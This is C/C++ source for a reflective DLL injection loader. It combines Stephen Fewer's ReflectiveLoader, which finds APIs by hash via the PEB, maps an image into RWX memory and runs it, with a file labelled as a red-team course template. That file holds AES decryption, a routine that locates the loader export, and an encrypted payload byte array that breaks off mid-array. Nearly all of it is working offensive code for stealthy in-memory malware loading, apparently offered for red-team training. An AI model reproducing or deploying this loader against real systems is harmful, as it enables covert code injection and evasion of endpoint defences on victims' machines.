	ULONG_PTR uiNameOrdinals;
	DWORD dwHashValue;

	// variables for loading this image
	ULONG_PTR uiHeaderValue;
	ULONG_PTR uiValueA;
	ULONG_PTR uiValueB;
	ULONG_PTR uiValueC;
	ULONG_PTR uiValueD;
	ULONG_PTR uiValueE;

	// STEP 0: calculate our images current base address

	// we will start searching backwards from our callers return address.
	uiLibraryAddress = caller();

	// loop through memory backwards searching for our images base address
	// we dont need SEH style search as we shouldnt generate any access violations with this
	while (TRUE)
	{
		if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
			if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
			{
				uiHeaderValue += uiLibraryAddress;
				// break if we have found a valid MZ/PE header
				if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
					break;
			}
		}
		uiLibraryAddress--;
	}

	// STEP 1: process the kernels exports for the functions our loader needs...

	// get the Process Enviroment Block
#ifdef WIN_X64
	uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
//	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	// get the first entry of the InMemoryOrder module list
	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while (uiValueA)
	{
		// get pointer to current modules name (unicode string)
		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
		// set bCounter to the length for the loop
		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
		// clear uiValueC which will store the hash of the module name
		uiValueC = 0;

		// compute the hash of the module name...
		do
		{
			uiValueC = ror((DWORD)uiValueC);
			// normalize to uppercase if the madule name is in lowercase
			if (*((BYTE*)uiValueB) >= 'a')
				uiValueC += *((BYTE*)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE*)uiValueB);
			uiValueB++;
		} while (--usCounter);

		// compare the hash with that of kernel32.dll
		if ((DWORD)uiValueC == KERNEL32DLL_HASH)
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			// get the VA of the export directory
			uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

			// get the VA for the array of name pointers
			uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

			// get the VA for the array of name ordinals
			uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

			usCounter = 3;

			// loop while we still have imports to find
			while (usCounter > 0)
			{
				// compute the hash values for this function name
				dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));

				// if we have found a function we want we get its virtual address
				if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
				{
					// get the VA for the array of addresses
					uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (dwHashValue == LOADLIBRARYA_HASH)
						pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
					else if (dwHashValue == GETPROCADDRESS_HASH)
						pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
					else if (dwHashValue == VIRTUALALLOC_HASH)
						pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}
		else if ((DWORD)uiValueC == NTDLLDLL_HASH)
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			// get the VA of the export directory
			uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

			// get the VA for the array of name pointers
			uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

			// get the VA for the array of name ordinals
			uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

			usCounter = 1;

			// loop while we still have imports to find
			while (usCounter > 0)
			{
				// compute the hash values for this function name
				dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));

				// if we have found a function we want we get its virtual address
				if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
				{
					// get the VA for the array of addresses
					uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}

		// we stop searching when we have found everything we need.
		if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
			break;

		// get the next entry
		uiValueA = DEREF(uiValueA);
	}

	// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// we must now copy over the headers
	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

	while (uiValueA--)
		*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;

	// STEP 3: load in all of our sections...

	// uiValueA = the VA of the first section
	uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

	// itterate through all sections, loading them into memory.
	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while (uiValueE--)
	{
		// uiValueB is the VA for this section
		uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);

		// uiValueC if the VA for this sections data
		uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);

		// copy the section over
		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while (uiValueD--)
			*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;

		// get the VA of the next section
		uiValueA += sizeof(IMAGE_SECTION_HEADER);
	}

	// STEP 4: process our images import table...

	// uiValueB = the address of the import directory
	uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

	// itterate through all imports
	while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
	{
		// use LoadLibraryA to load the imported module into memory
		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));

		// uiValueD = VA of the OriginalFirstThunk
		uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);

		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);

		// itterate through all imported functions, importing by ordinal if no name present
		while (DEREF(uiValueA))
		{
			// sanity check uiValueD as some compilers only import by FirstThunk
			if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				// get the VA of the modules NT Header
				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				// uiNameArray = the address of the modules export directory entry
				uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

				// get the VA of the export directory
				uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

				// get the VA for the array of addresses
				uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));

				// patch in the address for this imported function
				DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
			}
			else
			{
				// get the VA of this functions import by name struct
				uiValueB = (uiBaseAddress + DEREF(uiValueA));

				// use GetProcAddress and patch in the address for this imported function
				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
			}
			// get the next imported function
			uiValueA += sizeof(ULONG_PTR);
			if (uiValueD)
				uiValueD += sizeof(ULONG_PTR);
		}

		// get the next import
		uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}

	// STEP 5: process all of our images relocations...

	// calculate the base address delta and perform relocations (even if we load at desired image base)
	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

	// uiValueB = the address of the relocation directory
	uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

	// check if their are any relocations present
	if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
	{
		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
		uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

		// and we itterate through all entries...
		while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
		{
			// uiValueA = the VA for this relocation block
			uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);

			// uiValueB = number of entries in this relocation block
			uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);

			// uiValueD is now the first entry in the current relocation block
			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while (uiValueB--)
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
					*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
					*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
				// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
				{
					register DWORD dwInstruction;
					register DWORD dwAddress;
					register WORD wImm;
					// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
					dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
					// flip the words to get the instruction as expected
					dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
					// sanity chack we are processing a MOV instruction...
					if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
					{
						// pull out the encoded 16bit value (the high portion of the address-to-relocate)
						wImm = (WORD)(dwInstruction & 0x000000FF);
						wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
						wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
						wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
						// apply the relocation to the target address
						dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
						// now create a new instruction with the same opcode and register param.
						dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
						// patch in the relocated address...
						dwInstruction |= (DWORD)(dwAddress & 0x00FF);
						dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
						dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
						dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
						// now flip the instructions words and patch back into the code...
						*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
					}
				}
#endif
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
					*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
					*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

				// get the next entry in the current relocation block
				uiValueD += sizeof(IMAGE_RELOC);
			}

			// get the next entry in the relocation directory
			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		}
	}

	// STEP 6: call our images entry point

	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
	uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);

	// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
	pNtFlushInstructionCache((HANDLE)-1, NULL, 0);

	// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif

	// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
	return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}

#endif
//===============================================================================================//

MainCpp.cpp

/*

 Red Team Operator course code template
 Reflective Loader template

 author: reenz0h (twitter: @SEKTOR7net)

*/
#include <winternl.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


#define REFLDR_NAME "ReflectiveLoader"

int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
	HCRYPTPROV hProv;
	HCRYPTHASH hHash;
	HCRYPTKEY hKey;

	if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
		return -1;
	}
	if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
		return -1;
	}
	if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
		return -1;
	}
	if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
		return -1;
	}

	if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
		return -1;
	}

	CryptReleaseContext(hProv, 0);
	CryptDestroyHash(hHash);
	CryptDestroyKey(hKey);

	return 0;
}


//===============================================================================================//
// src: https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/LoadLibraryR.c
#define WIN_X64
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
	WORD wIndex = 0;
	PIMAGE_SECTION_HEADER pSectionHeader = NULL;
	PIMAGE_NT_HEADERS pNtHeaders = NULL;

	pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

	pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);

	if (dwRva < pSectionHeader[0].PointerToRawData)
		return dwRva;

	for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
	{
		if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
			return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
	}

	return 0;
}

DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
	UINT_PTR uiBaseAddress = 0;
	UINT_PTR uiExportDir = 0;
	UINT_PTR uiNameArray = 0;
	UINT_PTR uiAddressArray = 0;
	UINT_PTR uiNameOrdinals = 0;
	DWORD dwCounter = 0;
#ifdef WIN_X64
	DWORD dwCompiledArch = 2;
#else
	// This will catch Win32 and WinRT.
	DWORD dwCompiledArch = 1;
#endif

	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

	// get the File Offset of the modules NT Header
	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// currenlty we can only process a PE file which is the same type as the one this fuction has  
	// been compiled as, due to various offset in the PE structures being defined at compile time.
	if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
	{
		if (dwCompiledArch != 1)
			return 0;
	}
	else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
	{
		if (dwCompiledArch != 2)
			return 0;
	}
	else
	{
		return 0;
	}

	// uiNameArray = the address of the modules export directory entry
	uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

	// get the File Offset of the export directory
	uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

	// get the File Offset for the array of name pointers
	uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

	// get the File Offset for the array of addresses
	uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

	// get the File Offset for the array of name ordinals
	uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);

	// get a counter for the number of exported functions...
	dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

	// loop through all the exported functions to find the ReflectiveLoader
	while (dwCounter--)
	{
		char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));

		if (strstr(cpExportedFunctionName, REFLDR_NAME) != NULL)
		{
			// get the File Offset for the array of addresses
			uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

			// use the functions name ordinal as an index into the array of name pointers
			uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

			// return the File Offset to the ReflectiveLoader() functions code...
			return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
		}
		// get the next exported function name
		uiNameArray += sizeof(DWORD);

		// get the next exported function name ordinal
		uiNameOrdinals += sizeof(WORD);
	}

	return 0;
}

// reflective DLL payload
unsigned char payload[] = { 0xcb, 0xd9, 0x9c, 0x8f, 0xf2, 0x9f, 0x2c, 0xd6, 0x5d, 0x9, 0x50, 0x18, 0xd9, 0xbf, 0xd8, 0x81, 0xa9, 0xe, 0xc1, 0xe4, 0x2e, 0xbb, 0x31, 0xdd, 0xbb, 0x90, 0x0, 0x13, 0xfe, 0x3a, 0x7b, 0xa1, 0x3, 0x1a, 0x74, 0x7a, 0x65, 0xf0, 0x7a, 0x1d, 0xd3, 0xcf, 0xc5, 0x56, 0x51, 0x96, 0x6a, 0x50, 0x64, 0xf9, 0x10, 0x5a, 0x6b, 0xea, 0x28, 0x71, 0xc9, 0x9b, 0x60, 0x4f, 0x4a, 0x1d, 0x7f, 0xd9, 0x12, 0x84, 0x68, 0x60, 0x78, 0x18, 0xce, 0xb4, 0x7f, 0x2b, 0xa8, 0x94, 0xdb, 0xba, 0xb, 0x9f, 0xdb, 0x78, 0xb7, 0x4f, 0x88, 0x6, 0x10, 0x80, 0xd2, 0x55, 0xaf, 0x7, 0x9d, 0xde, 0x3b, 0x12, 0x5d, 0xd2, 0x9e, 0xc8, 0xc7, 0xe1, 0x15, 0xb7, 0xcc, 0x77, 0xea, 0x67, 0xe, 0x35, 0xc4, 0x90, 0x22, 0x97, 0xa6, 0x64, 0xa2, 0x5d, 0x85, 0xfa, 0x94, 0x33, 0x9d, 0x19, 0x4b, 0x82, 0xf1, 0x14, 0x14, 0x21, 0x5b, 0x34, 0xba, 0x70, 0x90, 0x1, 0xcb, 0x3e, 0x8f, 0xc5, 0x33, 0x64, 0xb9, 0x13, 0x1b, 0x10, 0xbc, 0xf0, 0xe1, 0xd1, 0xc1, 0x48, 0xc1, 0x74, 0x4a, 0xa8, 0xc5, 0x86, 0x1, 0x73, 0x11, 0xef, 0x77, 0xdb, 0x21, 0xdd, 0xca, 0xc1, 0x62, 0x77, 0x82, 0x98, 0xa1, 0x8c, 0xcd, 0x78, 0xb8, 0xc, 0x31, 0xce, 0x33, 0x1a, 0xcc, 0xd1, 0x0, 0x15, 0x89, 0x33, 0xdd, 0x55, 0x6d, 0xf6, 0xd0, 0x34, 0x65, 0x90, 0xa9, 0x67, 0x3f, 0x3f, 0x5b, 0x99, 0x3e, 0xbb, 0xef, 0xcf, 0x2c, 0xbe, 0xa8, 0x28, 0x71, 0x34, 0xf0, 0x1a, 0x93, 0x6f, 0xbf, 0xde, 0x3a, 0xed, 0xac, 0x2f, 0x84, 0xb4, 0x7a, 0x68, 0x58, 0x93, 0x8d, 0xf8, 0xbb, 0x40, 0xa1, 0x10, 0xe, 0x8a, 0x2d, 0x49, 0xc2, 0xa2, 0x15, 0x2e, 0xb6, 0x63, 0x64, 0x4, 0x85, 0x77, 0x59, 0xd3, 0x92, 0x48, 0xd5, 0x31, 0x0, 0x2e, 0x6d, 0x40, 0xf8, 0x70, 0xe4, 0x4b, 0xb9, 0xc7, 0xfb, 0xb2, 0x93, 0x9e, 0xb9, 0xef, 0xc8, 0xad, 0xf7, 0x77, 0x68, 0xc3, 0xca, 0xc9, 0x35, 0xb9, 0xf, 0xe, 0x91, 0x72, 0x2, 0x41, 0x91, 0xe3, 0x35, 0x11, 0xc, 0x24, 0x55, 0xd7, 0x31, 0xf1, 0x93, 0xf2, 0x9, 0xbe, 0xc5, 0xa5, 0xb2, 0xa8, 0xea, 0x4f, 0x64, 0xf5, 0x71, 0xdc, 0x84, 0xb2, 0x45, 0x36, 0x1f, 0x79, 0x8e, 0x91, 0x6, 0xe6, 0x48, 0xef, 0x8f, 0xb4, 0x7d, 0x31, 0xee, 0xfe, 0x79, 0x2f, 0x1f, 0x72, 0x2a, 0xf6, 0xa3, 0x56, 0xfa, 0x87, 0x29, 0x5b, 0xfa, 0x9b, 0x87, 0xd7, 0x7e, 0x7f, 0xf5, 0x75, 0x24, 0x16, 0xb6, 0xef, 0x97, 0x80, 0x1b, 0xd1, 0xe4, 0x6, 0x20, 0xe2, 0x4, 0x46, 0x57, 0x73, 0xf7, 0xbc, 0xf8, 0xea, 0xdc, 0xd3, 0x8, 0xe8, 0x9a, 0xe4, 0x14, 0x65, 0x72, 0x14, 0xb8, 0x2d, 0xf8, 0x11, 0x9a, 0x9c, 0x20, 0xb0, 0x9a, 0xcf, 0xd3, 0xeb, 0x6a, 0xf0, 0xd6, 0x3d, 0xc8, 0xbf, 0x3b, 0xcf, 0x76, 0x4d, 0x7f, 0x62, 0x50, 0x94, 0x88, 0x70, 0x77, 0xe8, 0x1d, 0xaf, 0xff, 0xf8, 0x8e, 0x37, 0x10, 0xd2, 0x2c, 0xb0, 0xc, 0x7b, 0x57, 0x17, 0xdd, 0x61, 0x83, 0x1d, 0x66, 0x8e, 0x6a, 0x53, 0x41, 0x76, 0x43, 0xb2, 0xf7, 0x55, 0xd4, 0x67, 0xbd, 0x3, 0x4b, 0xff, 0xc6, 0xc, 0xab, 0x97, 0x69, 0x3e, 0x85, 0x86, 0x38, 0xe7, 0xcc, 0xc9, 0x6e, 0xc, 0xb8, 0x99, 0xe1, 0x21, 0x6e, 0xb2, 0xed, 0xe0, 0x40, 0x14, 0xbb, 0x70, 0x54, 0x1a, 0xd8, 0xc9, 0x9d, 0xe0, 0x8d, 0x5, 0xe6, 0x6f, 0x27, 0x51, 0x95, 0xa8, 0x34, 0xe6, 0xea, 0x1a, 0x39, 0x2e, 0x3f, 0x36, 0x9a, 0x7d, 0xb8, 0xb, 0xd8, 0xcd, 0x3e, 0xa8, 0xe3, 0x21, 0x6b, 0x97, 0x79, 0x2a, 0x26, 0x2e, 0x2e, 0x89, 0x8a, 0xd7, 0xb8, 0x3e, 0x7f, 0x84, 0xf9, 0x9e, 0xcb, 0xb4, 0x2e, 0x17, 0xe5, 0x1d, 0xc0, 0x67, 0x71, 0x97, 0x12, 0x26, 0x58, 0xe0, 0x1d, 0x7d, 0x15, 0x35, 0x15, 0xd7, 0x9f, 0xe8, 0x3e, 0x84, 0x1b, 0x50, 0x71, 0xc6, 0x16, 0x9e, 0xd1, 0x84, 0x28, 0x99, 0x3d, 0x3e, 0x74, 0x10, 0xec, 0xc1, 0x3f, 0x75, 0x89, 0xc, 0xb6, 0x30, 0x32, 0x3f, 0x9b, 0x1, 0xc, 0x9b, 0x90, 0x49, 0x9c, 0x15, 0x25, 0x5f, 0x86, 0x4a, 0xaa, 0xa0, 0x85, 0x63, 0x36, 0x60, 0xdd, 0xf3, 0xf7, 0x3c, 